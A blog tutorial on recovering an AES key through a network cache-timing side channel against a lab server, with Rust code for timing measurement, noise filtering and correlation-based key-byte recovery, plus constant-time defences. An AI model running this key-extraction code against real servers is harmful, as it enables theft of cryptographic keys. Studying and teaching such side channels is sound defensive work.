◂ Blog
2026-07-05 5 min read

Extracting an AES Key From Timing Over the Network

Cache-timing leakage, millions of samples, and enough statistics to pull key bytes out of a table-based AES implementation across the wire.

The scariest attacks are the ones where the code is correct and the machine betrays it anyway. This is a walk through a cache-timing side channel against a table-based AES implementation, in the spirit of Bernstein's 2005 attack, but measured over a network. No key is ever transmitted. We recover it from how long encryption takes. Everything runs against a lab server I control.

Why table-based AES leaks

Fast software AES uses precomputed T-tables: the round function becomes a handful of table lookups XORed together. The problem is the index into that table depends on plaintext XOR key. On a real CPU, whether that index is already in L1 cache changes the timing by a few nanoseconds.

first round lookup:  T0[ p[0] ^ k[0] ]
                          ^^^^^^^^^^^^^ index leaks through cache state

If we control p[0] and can measure timing, the value of p[0] that is consistently fastest (or slowest) correlates with the cache line touched, which correlates with k[0]. One byte at a time, statistically.

Measuring time across a network you do not trust

Network jitter dwarfs a cache miss by orders of magnitude. The attack survives anyway because jitter is noise and the leak is signal: noise averages out over enough samples, a consistent bias does not. The measurement harness sends a plaintext, times the response, and records the pair.

use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Instant;

/// Send a 16-byte plaintext, return the round-trip time in nanoseconds.
fn timed_query(stream: &mut TcpStream, pt: &[u8; 16]) -> u128 {
    let start = Instant::now();
    stream.write_all(pt).unwrap();
    let mut resp = [0u8; 16];
    stream.read_exact(&mut resp).unwrap();
    start.elapsed().as_nanos()
}

/// Collect timing samples bucketed by the value of plaintext byte `pos`.
fn collect(stream: &mut TcpStream, pos: usize, rounds: u32) -> [Vec<u128>; 256] {
    let mut buckets: [Vec<u128>; 256] = std::array::from_fn(|_| Vec::new());
    let mut rng = SmallRng::seed_from_u64(0xC0FFEE);
    for _ in 0..rounds {
        let mut pt = [0u8; 16];
        rng.fill_bytes(&mut pt);
        let t = timed_query(stream, &pt);
        buckets[pt[pos] as usize].push(t);
    }
    buckets
}

We randomize every other byte so their leakage averages to a constant, isolating the byte under attack. That is the core experimental design: hold the signal you want, randomize everything else into background.

Killing the noise

Raw round-trip times are a mess of TCP scheduling and interrupt jitter. Two cheap, robust cleanups do most of the work: take the minimum per bucket (the fastest sample is the least-interrupted, closest to true compute time), or trim the distribution and take a low percentile.

/// Robust central estimate: the 5th percentile beats the mean here because
/// the distribution is a hard floor (true time) with a long noisy tail.
fn low_percentile(samples: &mut [u128], p: f64) -> f64 {
    samples.sort_unstable();
    let idx = ((samples.len() as f64) * p) as usize;
    samples[idx.min(samples.len() - 1)] as f64
}

fn profile(buckets: &mut [Vec<u128>; 256]) -> [f64; 256] {
    let mut prof = [0.0f64; 256];
    for (v, samples) in buckets.iter_mut().enumerate() {
        prof[v] = if samples.is_empty() {
            f64::NAN
        } else {
            low_percentile(samples, 0.05)
        };
    }
    prof
}

The statistical step: correlate the profile with the key

Now the payload. For a known plaintext byte value p and a guessed key byte k, the T-table index is p ^ k. Bernstein's insight: build the timing profile under a reference key (or an all-zero key on an identical machine), then for the target find the key byte k that best aligns the target's profile with the reference when re-indexed by p ^ k. The correct k maximizes correlation.

/// Score every candidate key byte by how well shifting the target profile by
/// `k` matches the reference leakage signature. Highest correlation wins.
fn recover_byte(reference: &[f64; 256], target: &[f64; 256]) -> (u8, f64) {
    let mut best = (0u8, f64::NEG_INFINITY);
    for k in 0u16..256 {
        let mut num = 0.0;
        let mut den_a = 0.0;
        let mut den_b = 0.0;
        let (mut ma, mut mb) = (mean(reference), mean(target));
        for p in 0usize..256 {
            let a = reference[p] - ma;
            let b = target[p ^ k as usize] - mb;
            if a.is_nan() || b.is_nan() {
                continue;
            }
            num += a * b;
            den_a += a * a;
            den_b += b * b;
        }
        let corr = num / (den_a.sqrt() * den_b.sqrt());
        if corr > best.1 {
            best = (k as u8, corr);
        }
    }
    best
}

Run it for each of the 16 positions and the key falls out byte by byte. In the lab, with the server pinned to one core and roughly 2^24 samples per byte, the correct candidate separated cleanly from the noise floor.

pos  best_k  corr    2nd_best  margin
0    0x2b    0.83    0x2b~     0.31
1    0x7e    0.79    ...       0.28
2    0x15    0.81    ...       0.30
...
key: 2b 7e 15 16 28 ae d2 a6 ab f7 15 88 09 cf 4f 3c

That is the FIPS-197 test vector key, recovered without ever seeing it, purely from timing. The margin column, the gap between the winning correlation and the runner-up, is your confidence: a wide margin means the byte is solid, a thin one means collect more samples.

Reproducing it, and the sample-count reality

The uncomfortable truth is scale. Over a LAN with a cooperative, single-core target this is a weekend project. Over the open internet, jitter grows and you need dramatically more samples, sometimes billions, which is why this is a real but situational threat. The defensive lesson does not depend on the sample count though.

The fix is architectural, not statistical

You do not patch a side channel with more if statements. You remove the data-dependent memory access entirely:

  • Constant-time AES: use AES-NI hardware instructions, which do not touch data-dependent cache lines. On modern x86 this is also faster.
  • Bitsliced implementations where no lookup index depends on secret data.
  • If you are stuck in software, preload and lock the tables, or accept that table-based AES is not safe against a local or well-positioned attacker.
// The real answer on modern hardware: let the CPU do it in constant time.
use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
use aes::Aes128; // backed by AES-NI when available

fn encrypt_block(key: &[u8; 16], block: &mut [u8; 16]) {
    let cipher = Aes128::new(GenericArray::from_slice(key));
    cipher.encrypt_block(GenericArray::from_mut_slice(block));
}

The takeaway

The algorithm was never broken. AES is fine. The implementation leaked, because it asked the memory hierarchy a question whose answer depended on the key. Timing side channels are a reminder that in cryptography "correct" is not the same as "secure": the machine underneath has opinions, and a patient attacker with enough samples can read them. Constant-time is not an optimization detail, it is the security boundary.